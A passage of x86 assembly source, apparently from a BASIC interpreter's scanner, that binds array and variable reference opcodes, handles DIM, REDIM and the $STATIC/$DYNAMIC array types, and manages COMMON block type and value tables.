; STATIC/COMMON/REDIM $DYNAMIC $DYNAMIC
; DIM (constant indices) $STATIC $DYNAMIC
; DIM (expression index) $DYNAMIC $DYNAMIC
; <implicit> $STATIC $STATIC
; ERASE/PUT/GET/SHARED Syntax error Syntax error
;
; In the case of statements where the opcode follows the opAVtRf
; the AVtRf scanner pushes the oVT and a flag indicating the
; existence of an expression as an index. The statement scanners
; use this information to determine whether the array is $STATIC or
; $DYNAMIC. The declarative statement scanners are given the
; number of AVtRf arguments by methods described in the scan routines
; for those statements.
;
; In the case of statements where the statement opcode preceeds the
; opAVtRf the opAVtRf scanner sees that a flag is set, indicating
; which executor was seen. This flag is cleared at BOS. The AVtRf
; scanner completes the scan task for the statement indicated by
; this flag.
;
; Functions are referenced using the same opcodes as variables.
; The VtRf variants may reference a function. However, if they do
; it is an error.
;
; Tasks:
; 1. bind to executor.
; 2. complete the scan task for STATIC/COMMON/SHARED.
; 3. calculate whether any index contains an expression (as opposed
; to a literal).
; 4. make a scan stack entry for arrays for the case that the statement
; executor follows the opAVtRf.
; 5. Coerce all index expressions to integer. This ensures that the
; executor for this statement can clean the stack.
;
;Algorithm:
;
; Load and emit executor
; Copy operand(s)
; Ensure that the variable is not a function.
; Coerce arguments, calculating whether any argument is not a literal.
; If COMMON, SHARED, STATIC
; Perform scan work for these statements.
; ELSE (must be ERASE, PUT, GET, DIM, REDIM)
; Push stack entry
; oVar
; flag TRUE if an index was an expression.
; index count
; Scan routines for these opcodes must verify that the number of
; dimensions matches the number of indices. opStDimTo must have
; twice the indices as opStGet, and ERASE takes no indices.
; Return to scnner main loop
;
;Input:
;
; ax = opcode
; bx = 2 * opcode
; es:di = pcode emission address
; es:si = pcode source address
;
;Output:
;
; si updated
;
;Modifies:
;Exceptions:
; Ss_Error
;
;******************************************************************
.errnz FALSE ;This algorithm depends on F_Static and F_StaticCalc
page
AVtRfToFun:
jmp VtRfToFun
AVtRfRedirect:
mov ax,[bx].VAR_value ;Get new oVar
mov PTRTX[di-2],ax ;Patch into pcode
jmp short AVtRfRetry
StaticArray:
;If NOT first ref, it's an error
TestX dx,FV_STATICSET ;First reference?
mov ax,ER_DD ;Duplicate definition if not
jnz AVtRfError
call SetArrayTypeNoDim ;Set fStatic for this array
AVtRfX:
jmp [ScanRet]
SharedArray:
;Make sure it's referenced at the module level
TestX dx,FV_STATICSET ;First reference?
jnz AVtRfX ;Better not be
mov ax,ER_UA ;Array not defined
AVtRfError:
call SsError
jmp short AVtRfX
FRAME= FVCOMMON+FVSTATIC+FVSHARED+FVFORMAL+FVVALUESTORED+FVREDIRECT
ComDimCnt = 8 ;No. of dims allowed in COMMON
ComArraySize = (size AD - 1) + ComDimCnt * (size DM)
CommonArrayJ:
jmp CommonArray
SsProc AVtRf,Rude
xchg ax,bx ; BX = executor map address
mov al,byte ptr es:[si-1] ; High byte of opcode
.erre OPCODE_MASK EQ 03ffh
and ax,HIGH (NOT OPCODE_MASK)
shr ax,1 ; Convert to word offset
add bx,ax ; Index into map
mov ax,cs:[bx] ; Load executor
STOSWTX ;Emit the executor
LODSWTX ;Load argument count
STOSWTX ;And emit the arg count
xchg cx,ax ;Preserve for processing indices
LODSWTX ;Load oVar
STOSWTX ;Emit oVar
AVtRfRetry:
add ax,[MrsCur.MRS_bdVar.BD_pb] ;oVar --> pVar
xchg ax,bx
DbChk pVar,bx ;Verify that this is a variable
mov ax,[bx].VAR_Flags ;[5]
;Check for AVtRf to a function error.
TestX ax,FVFUN ;Is this a ref to a function?
jnz AVtRfToFun ;Error - AVtRf to a function.
;Check for AVtRf to redirected variable.
TestX ax,FVREDIRECT ;Is the variable redirected?
jnz AVtRfRedirect ;Redirected variable.
DbAssertTst ax,nz,FVARRAY,SCAN,<Ss_AVtRf: Non-array>
;Allocate oFrame.
TestX ax,FRAME ;Is it a frame var?
jnz @F
call SsAllocOFrame ;Allocate an oFrame for this var
@@:
xchg dx,ax ;Keep var flags in dx
mov [f_StaticCalc],FALSE;If first ref, assume dynamic array
mov al,[SsBosFlags]
test al,SSBOSF_StCommon ;Is it a COMMON statement?
jnz CommonArrayJ
test al,SSBOSF_StStatic
jnz StaticArray
test al,SSBOSF_StShared
jnz SharedArray
;DIM case handling - the statement opcode hasn't been seen.
;Initialize Index Seen flag for $STATIC array calculation.
;Flag is initialized to current default array type.
;Needed only for DIM
mov al,[f_Static] ;TRUE if $STATIC in effect
mov [f_StaticCalc],al ;Move to temporary for calc
mov ax,ET_I2 ;Target type
call SsCoerceN ;Coerce cx indices to type ax
;f_StaticCalc set FALSE if any nonlits
cmp [f_StaticCalc],FALSE ; Were any expressions found?
jne @F ; Brif no expression found
or [SsExecFlag],OPA_fExecute ; This is executable
@@:
mov dx,[bx].VAR_Flags
;Test for second DIM of array error.
;In QB multiple Dims of $Dynamic arrays are allowed.
;In EB multiple Dims are prevented by the variable manager.
TestX dx,FV_STATICSET ;Test if array type has been set
jnz @F ; Brif second Dim.
TestX dx,FVCOMMON ; Is this common array
jz NotSecondDimErr ; Brif not common. Set type
;This is first reference to a Common array. The array must be
;$Static since the Common statement would have set FV_STATICSET.
mov ax,[SsOTxStart] ;Load oTx for this Dim clause.
mov [bx].VAR_value.ACOM_oValue,ax ;Save oTx of Dim statement
@@:
test byte ptr [bx].VAR_fStat,FV_STATIC ;Is the array $STATIC?
jnz SecondDimError ;Brif second dim of $Static array
NotSecondDimErr:
call SetArrayType ;Set BX=pVtArray to type in f_StaticCalc
mov cx,PTRTX[di-4] ;AX = cArgs
shr cx,1 ;Two indices per dimension in DIM TO
; Parser ensures pairs of indices.
cmp cl,[bx].VAR_value.ASTAT_cDims ;Is index count = dims
jne WrongCDimError ;Brif cDims is incorrect
@@:
mov ax,[SsOTxStart] ;Load oTx for this Dim clause.
mov [SsScanExStart],ax ;Save in case needed below
AllocateArray:
test byte ptr [bx].VAR_fStat,FV_STATIC ;Is the array $Static?
jz DimExit ; Brif $Dynamic array
TestX dx,FVCOMMON ; Is this common array
jnz DimExit ; Brif common. Don't allocate now.
cmp [bx].ASTAT_ad.FHD_hData,0 ;Allocated already?
jne DimExit ;Brif yes. Bypass allocation.
cmp [SsErr],0 ;Any errors?
jne DimExit2 ;Brif yes. Bypass allocation.
mov [DimAtScanType],SSDIM_STATIC
push ax ;Dummy parameter
push ax ;Dummy parameter
call ExecuteFromScan ;Allocate array. AX = RT error code.
jnz DimError ;Brif error code <> 0
DimExit:
DimExit2:
mov [SsOTxStart],di ;Update pointer for next Dim clause
jmp [ScanRet] ;Scan next opcode
SecondDimError:
mov ax,MSG_OBA ;Array already dimensioned
jmp short DimError
WrongCDimError:
mov ax,MSG_SubCnt ;Wrong number of subscripts
DimError:
call SsError
jmp short DimExit
NewArTypeJ:
jmp NewArType
StaticCommonJ:
jmp StaticCommon
CommonArray:
call SetArrayTypeNoDim ;Set fStatic for this array
; to type in f_StaticCalc
;Input:
; bx = pVtArray
;Set oCommon and oValue in variable table
cmp [SsErr],0 ;Any errors so far?
jnz CommonX ;Don't risk it if so
mov ax,[bx].VAR_cbFixed ; Get length of FS
mov [bp-SsCom].COM_cbFixed,ax ; Save
mov ax,[bp-SsCom].COM_oCom ;Get oCommon
mov [bx].VAR_value.ACOM_oCommon,ax
mov cl,[bx].VAR_value.ACOM_cDims ;Get cDims
GetOtyp dx,[bx] ;Get oTyp of element
test byte ptr [bx].VAR_fStat,FV_STATIC ;$STATIC array in COMMON?
jnz StaticCommonJ
mov ch,cDimsFlag
mov ax,[bp-SsCom].COM_oValCur ;Get oValue
mov [bx].VAR_value.ACOM_oValue,ax
;See if this stuff fits
add ax,ComArraySize ;Size of AD in COMMON
call ChkComSize ;bx = oTypCur
jc CommonX ;Quit if no room
;See if there's a type in table
cmp bx,[bp-SsCom].COM_bdType.BD_cbLogical ;Have entry in table?
jae NewArTypeJ
;Compare with existing type
add bx,[bp-SsCom].COM_bdType.BD_pb ;Point into type table
;First check no. of dimensions
cmp ch,[bx+1] ;Make sure both are arrays
jnz TypTabErrNz
or cl,cl ;cDims not set in Var Table?
jz CompArElem ;Ignore count if not known
cmp cl,[bx] ;cDims match with type table?
jz CompArElem
cmp byte ptr [bx],0 ;cDims not set in type table?
mov ax,MSG_SubCnt
jnz ComErr ;Index count error
mov [bx],cl ;Set cDims in type table
CompArElem:
;Compare element type
inc bx
inc bx ;Point to element type
CompType:
cmp dx,ET_MAX ;Record type?
ja CompRec ; Must compare across modules
cmp dx,[bx] ;ET types match?
TypTabErrNz:
jne TypTabErr
.erre ET_MAX LE 100h ; ET_FS in single byte
cmp dl,ET_FS
jb SkipOTyp ; brif not fixed string
inc bx
inc bx ; Point to length
mov ax,[bp-SsCom].COM_cbFixed ; Get length to Var table
cmp ax,word ptr [bx] ; Compare to common length
jne TypTabErr
SkipOTyp:
inc bx
inc bx
sub bx,[bp-SsCom].COM_bdType.BD_pb ;pTypCur --> oTypCur
mov [bp-SsCom].COM_oTypCur,bx ;Update position in type table
CommonX:
GetSegTxtCur
jmp [ScanRet]
CompRec:
mov cx,[bx] ;Get oType
cmp cx,ET_MAX ;Is it a record?
jbe TypTabErr ; brif not record
cmp ch,LengthFlag ;Reduced to just a length?
jz CompLength
mov ax,[bx+2] ;Get oRS of this oTyp
push bx
mov bx,[grs.GRS_oRsCur]
cCall CompareTyps,<ax,bx,cx,dx>
REFRESH_ES
pop bx
or ax,ax
CompRecResults:
jnz TypTabErr
inc bx
inc bx
jmp SkipOTyp
CompLength:
xchg ax,dx ;oTyp to ax
call CbTypOTypSCAN ; Get its length
cmp ax,[bx+2] ;Match type table?
jmp CompRecResults
TypTabErr:
mov ax,ER_TM
ComErr:
call SsError
jmp CommonX
StaticCommon:
;See if there's a type in table
;cl = cDims
;dx = oTyp
;ds:bx = pVar
mov ch,cDimsFlag+StaticFlag
push [bx].VAR_value.ACOM_oValue ; Push oTxDim
mov ax,[bp-SsCom].COM_oTypCur ;Current type table offset
inc ax
inc ax ;Skip cDims
mov [bx].VAR_value.ACOM_oValue,ax ;Value is offset to AD
dec ax
dec ax
xchg bx,ax ;oTypCur to bx
cmp bx,[bp-SsCom].COM_bdType.BD_cbLogical ;Have entry in table?
jae NewStatic
;Compare with existing type
add bx,[bp-SsCom].COM_bdType.BD_pb ;Point into type table
;First check no. of dimensions
cmp cx,[bx] ;Make sure both are arrays
xchg ax,cx ;cDims to al
pop cx ;Get oTxDim
jnz TypTabErr
cbw ;Zero ah
.errnz size DM - 4
shl ax,1
shl ax,1
add ax,size AD-1 ;ax = size of AD
sub sp,ax
mov bx,sp ;bx = pAD
call ExecDim
;AX = Size of array in bytes
push si
push di
mov si,sp
add si,(size AD-1)+4 ;Point to start of DM fields
mov di,bx ;pTypCur
mov cl,[di] ;Get cDims again
add di,(size AD-1)+2 ;Skip cDims and AD header
xor ch,ch
shl cx,1 ;2 words/dimension
mov ax,cx
push ds
pop es
rep cmpsw ;Compare dimensions
mov bx,di ;Pointer to element type
pop di
pop si
call TMErrorNz
shl ax,1 ;cb of dimensions
add ax,size AD-1
add sp,ax ;Remove AD from stack
jmp CompType
NewStatic:
;cl = cDims, ch = $STATIC array flags
;dx = oTyp
;bx = oTypCur
;[sp] = oTxDim
mov ax,cx
cbw ;Zero ah
shl ax,1
shl ax,1
add ax,(size AD-1)+2 ;cDims, size, and AD header
push bx ;oTypCur
add bx,ax ;Make room for dimensions
call ExtendType
pop ax
jc ShrinkType ;Didn't fit
xchg bx,ax ;oTypCur to bx, ax points after AD
add bx,[bp-SsCom].COM_bdType.BD_pb ;Point into type table
mov [bx],cx ;Set array type, cDims
pop cx ;Get oTxDim
push ax ;points after AD
inc bx
inc bx ;bx = pAD
call ExecDim
jc ShrinkType ;Remove this entry from type table
mov [bx+2].AD_fhd.FHD_hData,DGROUPSEG ;Allocated in DGROUP
mov [bx+2].AD_fhd.FHD_cPara,ax ;Use size that's been rounded even
neg ax
add ax,[bp-SsCom].COM_oValCur ;Array starts at oValCur
add ax,[bp-SsCom].COM_bdValue.BD_pb
mov [bx+2].AD_fhd.FHD_oData,ax
pop bx ;Offset to element type
add bx,[bp-SsCom].COM_bdType.BD_pb
jmp short SetOTyp
ShrinkType:
pop dx ;Clean off stack
mov bx,[bp-SsCom].COM_oTypCur
mov [bp-SsCom].COM_bdType.BD_cbLogical,bx
CommonXj:
jmp CommonX
ComErrJ:
jmp ComErr
NewArType:
inc bx
inc bx ;Skip over cDims word
NewType:
call ExtendType
jc CommonXj
add bx,[bp-SsCom].COM_bdType.BD_pb ;Point into type table
cmp ch,cDimsFlag ;Have an array?
jnz SetOTyp
mov [bx-2],cx ;Set cDims
cmp cl,ComDimCnt ;Max allowed dimensions
mov ax,MSG_SubCnt ;Wrong no. of dimensions
ja ComErrJ
SetOTyp:
mov [bx],dx ;Set oTyp
cmp dx,ET_FS ; Fixed? Record?
jb SkipOTypJ ; brif numeric, SD, or TX
.erre ET_FS EQ ET_MAX
je SetLength
mov ax,[grs.GRS_oRsCur]
SetExtension:
inc bx
inc bx
mov [bx],ax ;Add oRS for records
SkipOTypJ:
jmp SkipOTyp
SetLength:
mov ax,[bp-SsCom].COM_cbFixed ; Length of FS
jmp SetExtension
VtRfCommon:
cmp [SsErr],0 ;Any errors so far?
jnz CommonXj ;Don't risk it if so
;Set oCommon and oValue in variable table
mov ax,[bp-SsCom].COM_oCom ;Get oCommon
mov [bx].VAR_value.COMREF_oCommon,ax
mov cx,[bp-SsCom].COM_oValCur ;Get oValue
mov [bx].VAR_value.COMREF_oValue,cx
GetOtyp ax,[bx] ; Get oTyp of element
mov dx,ax ; Save
call CbTypOTypSCAN ; Get size of this type
jnz Check_Size ; Brif not fixed length
mov ax,[bx].VAR_cbFixed ; Get length of FS
mov [bp-SsCom].COM_cbFixed,ax ; Save
;See if this stuff fits
Check_Size:
add ax,cx ;New allocation
inc ax
and al,not 1 ;Round up to even
call ChkComSize ;bx = oTypCur
jc CommonXj ;Quit if no room in value table
;See if there's a type in table
xor cx,cx ;Ensure cDimsFlag is clear
cmp bx,[bp-SsCom].COM_bdType.BD_cbLogical ;Have entry in table?
jae NewType
;Compare with existing type
add bx,[bp-SsCom].COM_bdType.BD_pb ;Point into type table
jmp CompType
VtRfCommonJ:
jmp SHORT VtRfCommon
;***
;Ss_VtRf - scan simple VtRf opcodes
;
;Purpose:
;
; Functions are referenced using the same opcodes as variables.
; The VtRf variants may reference a function. However, if they do
; it is an error.
;
; Tasks:
; 1. bind to executor.
; 2. handle redirection.
; 3. handle references to functions (errors).
; 4. complete the scan task for COMMON.
; 5. if not COMMON, STATIC or SHARED then assume DIM of a
; simple variable.
;
;Algorithm:
;
; Load and emit executor
; Copy operand
; Ensure that the variable is not a function.
; If COMMON
; Complete COMMON work
; If not COMMON, SHARED or STATIC, assume DIM
; Return to scnner main loop
;
;Input:
;
; ax = opcode
; bx = 2 * opcode
; es:di = pcode emission address
; es:si = pcode source address
;
;Output:
;
; si updated
;
;Modifies:
;Exceptions:
; Ss_Error
;
;******************************************************************
page
VtRfRedirect:
mov ax,[bx].VAR_value ;Get new oVar
mov PTRTX[di-2],ax ;Patch into pcode
jmp short VtRfRetry
SsProc VtRf,Rude
xchg ax,bx ; BX = executor map address
mov al,byte ptr es:[si-1] ; High byte of opcode
.erre OPCODE_MASK EQ 03ffh
and ax,HIGH (NOT OPCODE_MASK)
shr ax,1 ; Convert to word offset
add bx,ax ; Index into map
mov ax,cs:[bx] ; Load executor
STOSWTX ;Emit the executor
LODSWTX ;Load operand
STOSWTX ;Emit the operand
VtRfRetry:
add ax,[MrsCur.MRS_bdVar.BD_pb] ;oVar --> pVar
xchg bx,ax
DbChk pVar,bx ;Verify that this is a variable
mov ax,[bx].VAR_Flags ;[5]
;Check for VtRf to redirected variable.
TestX ax,FVREDIRECT ;Is the variable redirected?
jnz VtRfRedirect ;Brif Redirected variable.
;Check for VtRf to a function error.
TestX ax,FVFUN ;Is this a ref to a function?
jnz VtRfToFun ;Error - VtRf to a function.
mov dx,ax ; Preserve var flags in dx
TestX ax,FRAME ;Is it a frame var?
jnz @F ;Brif not
call SsAllocOFrame ;Allocate an oFrame for this var
@@:
mov al,[SsBosFlags]
test al,SSBOSF_StCommon ;Is it a COMMON statement?
jnz VtRfCommonJ ;Not a COMMON array - done
test al,SSBOSF_StShared ;Is it SHARED?
jnz VtRfX ;No work for SHARED
;If NOT first ref, it's an error
TestX dx,FV_STATICSET ; First reference?
mov ax,ER_DD ; Duplicate definition if not
jnz VtRfError ; Brif not first reference
VtRfX:
;The oTx of the next emitted executor must be saved so that the
;subsequent declaration can evaluate the array bounds by starting
;execution at the saved address.
mov [SsOTxStart],di ;Update pointer for next Dim clause
jmp [ScanRet]
VtRfToFun:
call TMError
jmp VtRfX
VtRfError:
call SsError
jmp VtRfX
public mpAVtRfOpExe
mpAVtRfOpExe label word
DWEXT exAVtRfImp
DWEXT exAVtRfI2
DWEXT exAVtRfI4
DWEXT exAVtRfR4
DWEXT exAVtRfR8
DWEXT exAVtRfSD
public mpVtRfOpExe
mpVtRfOpExe label word
DWEXT exVtRfImp
DWEXT exVtRfI2
DWEXT exVtRfI4
DWEXT exVtRfR4
DWEXT exVtRfR8
DWEXT exVtRfSD
page
;***
;Subroutines for COMMON
ChkComSize:
;See if COMMON block is big enough, grow if needed (and possible)
;
;Input:
; ax = New total length needed
;Output:
; bx = oTypCur
; CY set if unable to fit
;cx,dx preserved
mov [bp-SsCom].COM_oValCur,ax ;Update position
mov bx,[bp-SsCom].COM_bdValue.BD_cbLogical
sub ax,bx ;Fit within present size?
jz BigEnough
cmc ;Success if CY clear
jnc BigEnough
;COMMON block growing - unless it's in user library
cmp [bp-SsCom].COM_bdValue.BD_cbPhysical,UNDEFINED ;UL COMMON?
jz NoGrowULCommon
push cx
push dx
push bx
lea bx,[bp-SsCom].COM_bdValue
push ax ;Remember how much space
push bx ;Owner to grow
push ax ;additional space needed
call BdGrowVar ;Extend COMMON block value table
pop cx ;Amount of new space
pop bx ;Position in COMMON
call OMEcheck ;See if it worked
jc NoZero ;If alloc failed, don't init
;Zero out new COMMON block space
push di ;Save emit oTx
mov di,bx ;Position in COMMON
push ds
pop es ;es = ds
add di,[bp-SsCom].COM_bdValue.BD_pb ;Point to new COMMON block space
xor ax,ax
rep stosb ;Zero out COMMON block
pop di ;Restore emit oTx
NoZero:
pop dx
pop cx
BigEnough:
mov bx,[bp-SsCom].COM_oTypCur ;Current type table offset
ret
NoGrowULCommon:
mov ax,MSG_ULCom
call CyError
jmp BigEnough
OMECheck:
or ax,ax
jnz OkRet
OMError:
mov ax,ER_OM
CyError:
call SsError
stc ;Unable to grow COMMON
OkRet: ret
ExecDim:
;Execute the DIM statement for a $STATIC array in COMMON
;The array space is allocated in the COMMON value table if possible,
;or the error is reported.
;
;Inputs:
; bx = pAD
; cx = oTxDim
;Outputs:
; CY set if failed (error reported)
; ax = size of array, rounded up to whole words
; bx = pTypCur
;Preserves:
; dx
mov [SsScanExSrc],bx ;Pass pAD to DIM
DbAssertRel cx,nz,NULL,SCAN,<No DIM for $STATIC COMMON array>
mov [SsScanExStart],cx
mov [bx].AD_fhd.FHD_hData,0 ;Flag it as not allocated
push dx
mov [DimAtScanType],SSDIM_COMMON
push ax ; ExecuteFromScan requires
push ax ; two garbage parameters
call ExecuteFromScan
pop dx
jnz CyError ;Error reported by runtime (in ax)?
mov ax,[SsScanExSrc] ;Size of array returned by DIM
inc ax
jz OMError
and ax,not 1 ;Round up to next word
;Make sure it's not too big
mov cx,ax
add ax,[bp-SsCom].COM_oValCur ;Get oValue
jc OMError
call ChkComSize
jc OkRet ;Return with CY set if error
add bx,[bp-SsCom].COM_bdType.BD_pb ;bx = pTypCur
xchg ax,cx
ret
ExtendType:
;Grow the COMMON type table
;
;Inputs:
; bx = new length
; dx = oTyp
;Outputs:
; CY set if failed (error reported)
;Preserves:
; bx,cx,dx
push dx
push cx
push bx
inc bx
inc bx ;Need at least one more word
cmp dx,ET_FS ; Record? Fixed?
.erre ET_FS EQ ET_MAX
jb SmallTyp
inc bx ; FS have cbFixed
inc bx ;Records have oRS too
SmallTyp:
.errnz COM_bdType - SsCom
push bp ;Owner
push bx ;New size
call BdRealloc ;Extend COMMON type table
call OMEcheck ;See if it worked
pop bx ;oTypCur
pop cx
pop dx
ret
page
;***
;Ss_ReDim - Scan opReDim
;
;Purpose:
;
; Scan opReDim.
;
; The opReDim opcode comes after a AIdLd opcode. This scan
; routine receives a scan stack entry describing the referenced
; variable as follows:
;
; oTx Always immediately preceeding point
; oType <-- (Top of stack)
;
; Tasks include:
;
; 1. Bind to executor
; 2. Coerce remaining arguments to integers
; 3. if argument is the first reference to an array
; then set whether the array is $STATIC or $DYNAMIC
; 4. Test for REDIMing a $STATIC array error.
;
;Input:
;
; ax = executor
; bx = 2 * opcode
; es:si = pcode source address
; es:di = pcode emission address
;
;Output:
;
; si, di updated
;
;Modifies:
;
;Exceptions:
;
; Ss_Error
;
;******************************************************************
page
SsProc ReDim
STOSWTX ;Emit the executor
dec si
dec si ;Report errors on preceding AIdLd
pop ax ;Discard oType of array
DbAssertTst ax,z,ST_Array?,SCAN,<Ss_ReDim: Non-array>
pop bx ;BX = oTx after exAIdLd
call MakeArrayRef ;Convert to exAdRf
mov bx,PTRTX[si-2] ;BX = oVar
add bx,[mrsCur.MRS_bdVar.BD_pb] ;BX = pVar
test byte ptr [bx].VAR_fStat,FV_STATIC ;Is this a static array?
jnz ReDimStatic ;REDIM stmt. $Static arrays not allowed.
ReDimX:
inc si
inc si
jmp [ScanRet] ;Scan next opcode
ReDimStatic:
mov ax,MSG_OBA ;Array already dimensioned
call SsError
jmp ReDimX
page
;SetArrayType
;
;Purpose:
;
; Routine to set FV_STATIC and FV_STATICSET in an array var entry.
;
; This routine sets FV_STATIC to the value in f_StaticCalc iff
; FV_STATICSET is FALSE. It then ensures that FV_STATICSET is TRUE.
;
;Input:
;
; f_StaticCalc = TRUE if type is $STATIC, else FALSE
; bx = pVariable for an array variable
;
;Outputs:
;
; CY set if first reference
;
;Preserves:
;
; all
public SetArrayType
SetArrayType:
or [SsFlags],SSF_HaveDimmed ;Had a DIM: no OPTION BASE now
SetArrayTypeNoDim:
DbChk pVar,bx ;Verify that this is a variable
SetArrayTypePublic:
TestM [bx].VAR_flags,FV_STATICSET
;Determine if the $STATIC flag
; is already set for this array.
jnz SetArrayTypeX ;Already set - nothing to do.
;Note: In EB, all declarations at the module
;level are shared and all at the the procedure level
;are not therefore there need not be two checks.
;Don't set flags for shared variables while scanning proc
TestM [bx].VAR_flags,FVSHARED ; Shared variable?
jz SetStatic ;If not, set bit
test byte ptr [grs.GRS_oRsCur+1],80H ;Scanning module level?
jnz SetArrayTypeX ;If not, don't set bit
SetStatic:
.errnz FALSE
cmp [f_StaticCalc],FALSE
je @F ;$DYNAMIC, leave FV_STATIC clear
; Array is dynamic if it lives on the procedure frame
TestM [bx].VAR_flags,FRAME ; In the stack?
jz @F ; Brif array is on frame
or byte ptr [bx].VAR_fStat,FV_STATIC ;Set $STATIC
@@:
or WORD PTR [bx].VAR_Flags,FV_STATICSET ; Indicate FV_STATIC is set.
stc
SetArrayTypeX:
ret
sEnd SCAN
sBegin CP
assumes cs, CP
;***
;ChainCommon - prepare blank common for chaining
;
;Purpose:
;
; Module type tables will be destroyed by chaining, so the
; COMMON type table must stop referring to it. Instead, user
; type entries are replaced with a flag and the size of the type.
; Type checking against the chained-to program will only compare
; record sizes.
;
;Preserves:
;
; dx
;
;Modifies:
;
; si
;
;***********************************************************************
;
cProc ChainCommon,<PUBLIC,FAR,NODATA>,<SI>
cBegin
mov si,[grs.GRS_bdtComBlk.BD_pb] ;pBlankCommon
DbAssertRel [si].COM_ogNam,z,NULL,CP,<ChainCommon: 1st block in bdtComBlk is not for blank COMMON>
mov cx,[si].COM_bdType.BD_cbLogical ;Size of type table
mov si,[si].COM_bdType.BD_pb ;pTypeTable
add cx,si ;Ending address
LookForRecord:
cmp cx,si ;Reach end?
jbe CommonReady
lodsw
cmp ah,cDimsFlag+StaticFlag ;Static array?
jz SkipStatic
cmp ah,cDimsFlag ;Array count?
jnz Element
GetElement:
lodsw ;Skip count, do element
Element:
cmp ah,LengthFlag ;Already converted?
jz SkipOver
.errnz ET_MAX - ET_FS ; ensure FS is max type
cmp ax,ET_MAX ;Record type or fixed length string?
jb LookForRecord ; If not, look at next
;Have a record or fixed length string
xchg bx,ax ;Save oTyp in bx
lodsw ;Get oRS
je LookForRecord ; brif fixed length string
xchg bx,ax ;oTyp to ax, oRS to bx
call CbTypOTypOMrs ;Get its size
mov byte ptr [si-3],LengthFlag ;Flag as size-only entry
mov [si-2],ax
jmp LookForRecord
SkipStatic:
cbw ;ah=0
shl ax,1
shl ax,1 ;Size of dimensions
add ax,(size AD-1) ;Skip AD
add si,ax ;Point to element
jmp GetElement
SkipOver:
lodsw ;Skip over length
jmp LookForRecord
CommonReady:
cEnd
;***
;SsTrimCommon
;
;Purpose:
;
; After chaining, blank COMMON could be larger than actually used.
; This routine trims it back, releasing any owners. The value table
; is not actually shortened (it could be in a UL), but the type table
; is, and that's what counts.
;
; THIS ROUTINE MUST NOT BE CALLED IF SCAN ERROR OCCURED
;
;Inputs:
;
; [oTypComMax] = max size of type table
; [oValComMax] = max size of value table
;
;***********************************************************************
public SsTrimCommon
SsTrimCommon:
push si
push di
mov si,[grs.GRS_bdtComBlk.BD_pb] ;pBlankCommon
cmp [si].COM_bdValue.BD_cbPhysical,UNDEFINED ; QuickLib common?
jz SharedQLB ; brif so -- don't delete
; or zero-fill common
mov cx,[si].COM_bdType.BD_cbLogical
mov bx,[si].COM_bdValue.BD_pb
add bx,[oValComMax]
mov si,[si].COM_bdType.BD_pb ;Pointer to type table
add cx,si ;Point last+1 of type table
add si,[oTypComMax]
call DelCommon
mov si,[grs.GRS_bdtComBlk.BD_pb] ;pBlankCommon
;Zero fill trimmed part of value table
mov di,[oValComMax]
push ds
pop es ;Make sure es=ds
mov cx,[si].COM_bdValue.BD_cbLogical
sub cx,di ;Amount to zero fill
add di,[si].COM_bdValue.BD_pb
shr cx,1
xor ax,ax
rep stosw
SharedQLB:
mov ax,[oTypComMax]
mov [si].COM_bdType.BD_cbLogical,ax ; Trim the type table
pop di
pop si
ret
;***
;SsAdjustCommon
;
;Purpose:
;
; Called whenever a QBI-specific COMMON value table is moved (by heap
; management code). Updates the backpointers to all SD's and string
; array descriptors found in the value table for the given COMMON block.
;
;Inputs:
;
; bx = pointer to COM_bdType field
; di = adjustment factor to be passed on runtime
; if di=0, delete all SD's and arrays
;
;***********************************************************************
DelCommon:
;si = starting point in type table
;bx = starting point in value table
;cx = ending point in type table
xor di,di
push si
jmp short TestEndCommon
public SsAdjustCommon
SsAdjustCommon:
push si
mov cx,[bx].BD_cbLogical
mov si,[bx].BD_pb ;Pointer to type table
mov bx,[bx-COM_bdType].COM_bdValue.BD_pb
add cx,si ;Point last+1 of type table
TestEndCommon:
cmp si,cx ;End of type table?
jae AdjustX
lodsw ;Get type table entry
cmp ah,cDimsFlag+StaticFlag ;Static array?
jz AdjustStatic
cmp ah,cDimsFlag ;Array?
jz AdjustArray
cmp ax,ET_MAX ; Record ?
ja AdjustRecord ; Brif yes
.erre ET_MAX LE 0100h ; Assure we can use AL
cmp al,ET_SD ; String type?
jb NotRecord ; Brif not
.erre ET_FS EQ ET_SD+1 ; Assure JA is sufficient
.erre ET_FS EQ ET_MAX ; Assure no new types added
ja RecWithLen ; Brif fixed string
call AdjustOneSD
jmp TestEndCommon
AdjustRecord:
test ah,LengthFlag ;Has record been crunched to length?
jnz RecWithLen
push bx
mov bx,[si] ;Get oMRS
inc si
inc si
call CbTypOTypOMrs
pop bx
jmp short AddCbTyp
AdjustX:
pop si
ret
NotRecord:
call CbTypOTyp ;Get length of item
AddCbTyp:
inc ax
and al,not 1 ;Round even
add bx,ax
jmp TestEndCommon
RecWithLen:
lodsw ;Get length of record or string
jmp AddCbTyp
AdjustStatic:
cmp [si].AD_fhd.FHD_hData,0 ;Any space in array?
jz AdjustX ;In the middle of building an entry
add [si].AD_fhd.FHD_oData,di;Adjust pointer to array data
cbw ;ah=0
shl ax,1
shl ax,1 ;Size of dimensions
add ax,(size AD-1) ;Skip header
xchg dx,ax ;Save in dx
mov ax,[si].AD_fhd.FHD_cPara;Get size of array
add si,dx ;Point to element
cmp word ptr [si],ET_SD ;String array?
jz AdjSdStatic
add bx,ax
EatOTyp:
lodsw ;Get oTyp
cmp ax,ET_FS
.erre ET_FS EQ ET_MAX
jb TestEndCommon
lodsw ;Skip over oMRS/length
jmp TestEndCommon
AdjustArray:
push cx
push bx
or di,di ;Delete the array?
jz DelArray
lodsw ;Get oTyp of array
cmp ax,ET_SD ;Array of strings?
jne NoAdjArray
UpdStrings:
push bx ;First arg for runtime
push di ;2nd arg for runtime
call B$IAdUpd ;Have runtime do update
AddCbArray:
pop bx
pop cx
add bx,ComArraySize
jmp TestEndCommon
DelArray:
push bx ;First arg for runtime
call B$IErase ;ERASE array (no heap movement varient)
lodsw ;Get oTyp
NoAdjArray:
cmp ax,ET_FS
.erre ET_FS EQ ET_MAX
jb AddCbArray
lodsw ;Skip over oMRS/length
jmp AddCbArray
AdjSdStatic:
;ax has size of array
shr ax,1
shr ax,1 ;ax = no. of 4-byte SD's
push cx
xchg cx,ax ;No. of elements to cx
AdjustEachSD:
call AdjustOneSD
loop AdjustEachSD
pop cx
jmp EatOTyp
AdjustOneSD:
push cx
push bx
push bx ;First arg for runtime
or di,di
jz DelSD
push di ;2nd arg for runtime
call B$ISdUpd
AddCbSD:
pop bx
pop cx
add bx,4 ;Size of SD in value table
ret
DelSD:
call B$STDL ;Delete the SD
jmp AddCbSD
sEnd CP
